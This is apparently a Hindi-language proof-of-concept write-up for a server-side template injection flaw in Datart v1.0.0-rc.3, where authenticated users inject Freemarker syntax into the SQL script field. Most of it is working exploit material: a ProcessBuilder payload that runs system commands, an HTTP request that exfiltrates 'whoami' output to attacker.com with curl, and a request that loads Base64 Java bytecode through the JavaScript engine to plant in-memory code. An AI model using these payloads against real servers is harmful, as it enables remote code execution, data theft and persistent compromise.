
Datart v1.0.0-rc.3 के Freemarker टेम्पलेट इंजन में एक सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) कमजोरी प्रमाणित हमलावरों को SQL स्क्रिप्ट फ़ील्ड में गढ़े हुए Freemarker टेम्पलेट सिंटैक्स को इंजेक्ट करके मनमाना कोड निष्पादित करने की अनुमति देती है।
Datart v1.0.0-rc.3 संस्करण के Freemarker टेम्पलेट इंजन में सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) भेद्यता मौजूद है। प्रमाणित हमलावर SQL स्क्रिप्ट फ़ील्ड में दुर्भावनापूर्ण Freemarker टेम्पलेट सिंटैक्स इंजेक्ट करके मनमाना सिस्टम कोड निष्पादित कर सकते हैं।
SQL स्क्रिप्ट/क्वेरी एडिटर में, निम्नलिखित Freemarker पेलोड डालें जिसका उपयोग सिस्टम कमांड (जैसे id या calc) निष्पादित करने के लिए किया जा सकता है:
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb=ob("java.lang.ProcessBuilder",["bash","-c","id"])>
${pb.start()}
SELECT 1
स्क्रिप्ट निष्पादित करने पर, सर्वर पृष्ठभूमि में कमांड चलाएगा।
API के माध्यम से भेद्यता को ट्रिगर करने वाला अनुरोध पैकेट निम्नलिखित है:
POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}
{
"sourceId": "valid_source_id",
"script": "<#assign ob=\"freemarker.template.utility.ObjectConstructor\"?new()><#assign pb=ob(\"java.lang.ProcessBuilder\",[\"bash\",\"-c\",\"curl http://attacker.com/`whoami`\"])>${pb.start()}SELECT 1",
"scriptType": "SQL",
"size": 100
}
हमलावर Java के javax.script.ScriptEngineManager का उपयोग करके JS इंजन को कॉल कर सकते हैं और किसी भी Base64-एन्कोडेड Java बाइटकोड को लोड और निष्पादित कर सकते हैं।
पेलोड उदाहरण:
POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}
{
"script": "<#assign ob='freemarker.template.utility.ObjectConstructor'?new()><#assign sem=ob('javax.script.ScriptEngineManager')><#assign engine=sem.getEngineByName('js')><#assign result=engine.eval('var classLoader=java.lang.Thread.currentThread().getContextClassLoader();var className=\"org.apache.shiro.coyote.deserialization.impl.UnwrappedPropertyHandler\";var base64Str=\"yv66..\";try{classLoader.loadClass(className).newInstance()}catch(e){var clsString=classLoader.loadClass(\"java.lang.String\");var bytecode;try{var clsBase64=classLoader.loadClass(\"java.util.Base64\");var clsDecoder=classLoader.loadClass(\"java.util.Base64$Decoder\");var decoder=clsBase64.getMethod(\"getDecoder\").invoke(null);bytecode=clsDecoder.getMethod(\"decode\",clsString).invoke(decoder,base64Str)}catch(ee){try{var datatypeConverterClz=classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");bytecode=datatypeConverterClz.getMethod(\"parseBase64Binary\",clsString).invoke(null,base64Str)}catch(eee){var clazz1=classLoader.loadClass(\"sun.misc.BASE64Decoder\");bytecode=clazz1.newInstance().decodeBuffer(base64Str)}}var clsClassLoader=classLoader.loadClass(\"java.lang.ClassLoader\");var clsByteArray=(new java.lang.String(\"a\").getBytes().getClass());var clsInt=java.lang.Integer.TYPE;var defineClass=clsClassLoader.getDeclaredMethod(\"defineClass\",[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);var clazz=defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance()}')>SELECT 1",
"sourceId": "valid_source_id",
"size": 1000,
"scriptType": "SQL",
"columns": "",
"variables": []
}